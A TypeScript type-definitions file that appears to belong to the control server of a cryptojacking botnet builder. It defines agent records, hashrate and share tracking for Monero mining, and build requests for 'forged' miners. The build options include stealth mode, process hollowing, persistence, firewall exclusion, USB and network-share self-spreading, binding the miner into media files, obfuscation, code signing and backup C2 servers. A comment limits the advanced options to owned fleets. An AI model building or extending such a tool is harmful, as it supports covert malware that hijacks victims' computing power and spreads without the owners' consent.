export interface Agent {
  id: string;
  name: string;
  wallet: string;
  ip: string;
  version: string;
  status: 'online' | 'offline' | 'error';
  cpu_cores: number;
  memory_gb: number;
  last_seen: string;
  created_at: string;
  hashrate_15s: number;
  hashrate_1m: number;
  hashrate_15m: number;
  shares_total: number;
  shares_good: number;
  shares_bad: number;
  cpu_usage_pct: number;
  memory_usage_pct: number;
  uptime_seconds: number;
  notes?: string;
  tags?: string[];
  platform?: string;
  arch?: string;
  os_version?: string;
  capabilities?: AgentCapabilities;
}

export interface AgentCapabilities {
  hole_punch: boolean;
  remote_aggressive: boolean;
  mesh_p2p: boolean;
  auto_spread: boolean;
  process_hollowing: boolean;
  ai_enabled: boolean;
}

export interface Share {
  id: number;
  agent_id: string;
  job_id: string;
  difficulty: number;
  accepted: boolean;
  hash: string;
  nonce: string;
  error?: string;
  timestamp: string;
}

export interface HashrateSample {
  id: number;
  agent_id: string;
  hashrate: number;
  timestamp: string;
}

export interface ServerInfo {
  port: number;
  host: string;
  local_ips: string[];
  suggested_url: string;
  dashboard_url: string;
  websocket_url: string;
}

export interface BuildRecord {
  id: string;
  worker_name: string;
  server_url: string;
  wallet: string;
  threads: number;
  file_size: number;
  file_path: string;
  file_name?: string;
  created_at: string;
  pool_host: string;
  pool_port: number;
  pool_tls: boolean;
  pool_pass: string;
  platform?: string;
  bundle_size?: number;
  download_url?: string;
}

/** Alias used in components that deal with forged builds */
export type Build = BuildRecord;

export interface FleetStats {
  total_agents: number;
  online_agents: number;
  total_hashrate: number;
  total_shares: number;
  accepted_shares: number;
  rejected_shares: number;
  accept_rate: number;
}

export interface ServerConfig {
  port: number;
  data_dir: string;
  pool: PoolConfig;
  wallet: WalletConfig;
  server: ServerSettings;
  alerts: AlertsConfig;
  /** @deprecated Legacy JSON only — Forge bakes per-miner settings; not used by Calibrate UI. */
  default_agent_config?: AgentDefaults;
  /** @deprecated Legacy JSON only — not used at runtime. */
  background?: BackgroundConfig;
}

export interface ServerSettings {
  public_url: string;
  stats_retention_hours: number;
  build_retention_days: number;
  pool_reconnect_seconds: number;
  websocket_ping_seconds: number;
  max_agents: number;
  max_build_size_mb: number;
  log_agent_connections: boolean;
  log_share_submissions: boolean;
  log_pool_traffic: boolean;
  strict_wallet_validation: boolean;
  dashboard_subtitle: string;
  open_firewall_on_start: boolean;
  obfuscate_default?: boolean;
  sign_enabled?: boolean;
  sign_cert_thumbprint?: string;
  sign_tool_path?: string;
  sign_timestamp_url?: string;
}

export interface PoolConfig {
  host: string;
  port: number;
  use_tls: boolean;
  password: string;
}

export interface WalletConfig {
  address: string;
  payment_id: string;
}

export interface AgentDefaults {
  threads: number;
  thread_mode: string;
  thread_percent: number;
  cpu_priority: string;
  max_cpu_usage_pct: number;
  max_memory_percent: number;
  min_free_ram_mb: number;
  mining_mode: string;
  display_mode: string;
  process_name: string;
  idle_threshold_pct: number;
  idle_duration_minutes: number;
  schedule_start: string;
  schedule_end: string;
  install_base: string;
  install_custom_base: string;
  install_relative_path: string;
  adapt_to_hardware: boolean;
  self_healing: boolean;
  file_logging: boolean;
  stealth_mode: boolean;
}

export interface BackgroundConfig {
  silent_mode: boolean;
  run_as: string;
  auto_start: boolean;
}

export interface AlertsConfig {
  offline_threshold_minutes: number;
  hashrate_drop_threshold_pct: number;
  rejection_rate_threshold_pct: number;
  telegram_bot_token?: string;
  telegram_chat_id?: string;
  email_enabled?: boolean;
  smtp_host?: string;
  smtp_port?: number;
  smtp_user?: string;
  smtp_password?: string;
  email_to?: string;
  email_from?: string;
}

export interface FleetAlert {
  id: string;
  level: 'warn' | 'error';
  type: string;
  agent_id?: string;
  agent_name?: string;
  message: string;
  timestamp: string;
}

export interface PoolStatus {
  key: string;
  host: string;
  port: number;
  use_tls: boolean;
  wallet: string;
  connected: boolean;
  status: 'green' | 'yellow' | 'red';
}

export interface AIActivityEntry {
  agent_id: string;
  last_decide_at?: string;
  last_action?: string;
  last_tool?: string;
  tool_call_count?: number;
  last_reasoning?: string;
  last_report_at?: string;
  last_success?: boolean;
}

export interface EarningsEstimate {
  hashrate: number;
  xmr_per_day: number;
  note: string;
}

export interface XmrPrice {
  usd: number;
  fetched_at: string;
  source: string;
}

export interface BuildRequest {
  worker_name: string;
  server_url: string;
  wallet: string;
  /** Relative folder under server data_dir to also copy the built exe into. */
  output_dir?: string;
  threads: number;
  thread_mode: string;
  thread_percent: number;
  cpu_priority: string;
  mining_mode: string;
  display_mode: string;
  silent_mode: boolean;
  run_as: string;
  auto_start: boolean;
  persistence: boolean;
  process_name: string;
  max_cpu_usage_pct: number;
  max_memory_percent: number;
  min_free_ram_mb: number;
  idle_threshold_pct: number;
  idle_duration_minutes: number;
  schedule_start: string;
  schedule_end: string;
  install_base: string;
  install_custom_base: string;
  install_relative_path: string;
  adapt_to_hardware: boolean;
  self_healing: boolean;
  file_logging: boolean;
  stealth_mode: boolean;
  firewall_exclusion: boolean;
  pool_host: string;
  pool_port: number;
  pool_tls: boolean;
  pool_pass: string;
  fusion_enabled: boolean;
  fusion_run_order: string;
  fusion_output_name: string;
  fusion_payload_kind?: string;
  fusion_media_mode?: string;
  fusion_media_base_name?: string;
  fusion_export_subdir?: string;
  // AI Autonomy (Ollama)
  ai_enabled: boolean;
  ai_ollama_endpoint: string;
  ai_model: string;
  // Advanced (off by default — enable only on owned/administered fleets)
  process_hollowing?: boolean;
  mesh_p2p?: boolean;
  auto_spread?: boolean;
  hole_punch?: boolean;
  remote_aggressive?: boolean;
  usb_spread?: boolean;
  share_spread?: boolean;
  target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
  target_arch?: string;
  spread_kit?: boolean;
  obfuscate?: boolean;
  sign_build?: boolean;
  // Cancel token — set by the client before forging. Pass the same value to
  // DELETE /api/v1/builder/cancel/{token} to kill the compile mid-flight.
  cancel_token?: string;
  // Backup pools tried in order if the primary pool is unreachable.
  backup_pools?: BackupPool[];
  // Backup C2 server URLs tried if the primary server_url is unreachable.
  backup_server_urls?: string[];
}

/** Fallback Stratum pool baked into the agent at forge time. */
export interface BackupPool {
  host: string;
  port: number;
  tls: boolean;
  pass?: string;
}

export interface FusionEstimate {
  prep_bytes: number;
  prep_name: string;
  estimated_worker_bytes: number;
  estimated_fusion_stub_bytes: number;
  estimated_resource_patch_bytes: number;
  estimated_total_bytes: number;
  output_file_name: string;
  project_root_path: string;
  archive_path_hint: string;
  export_path?: string;
  obfuscate: boolean;
  sign_build: boolean;
  notes: string[];
}

export interface BuildResponse {
  success: boolean;
  build_id?: string;
  file_name?: string;
  file_path?: string;
  relative_path?: string;
  file_size?: number;
  download_url?: string;
  uninstall_file_name?: string;
  uninstall_path?: string;
  uninstall_download_url?: string;
  export_path?: string;
  uninstall_export_path?: string;
  error?: string;
  fusion_enabled?: boolean;
  fusion_export_dir?: string;
  extra_files?: { file_name: string; file_path?: string }[];
  bundle_file_name?: string;
  bundle_download_url?: string;
  bundle_size?: number;
  worker_file?: string;
  signed?: boolean;
  obfuscated?: boolean;
}

export interface BlueprintInfo {
  name: string;
  size: number;
  created_at: string;
  data?: any;
}

export interface WSMessage {
  type: string;
  payload: import('./ws').WSPayload;
}
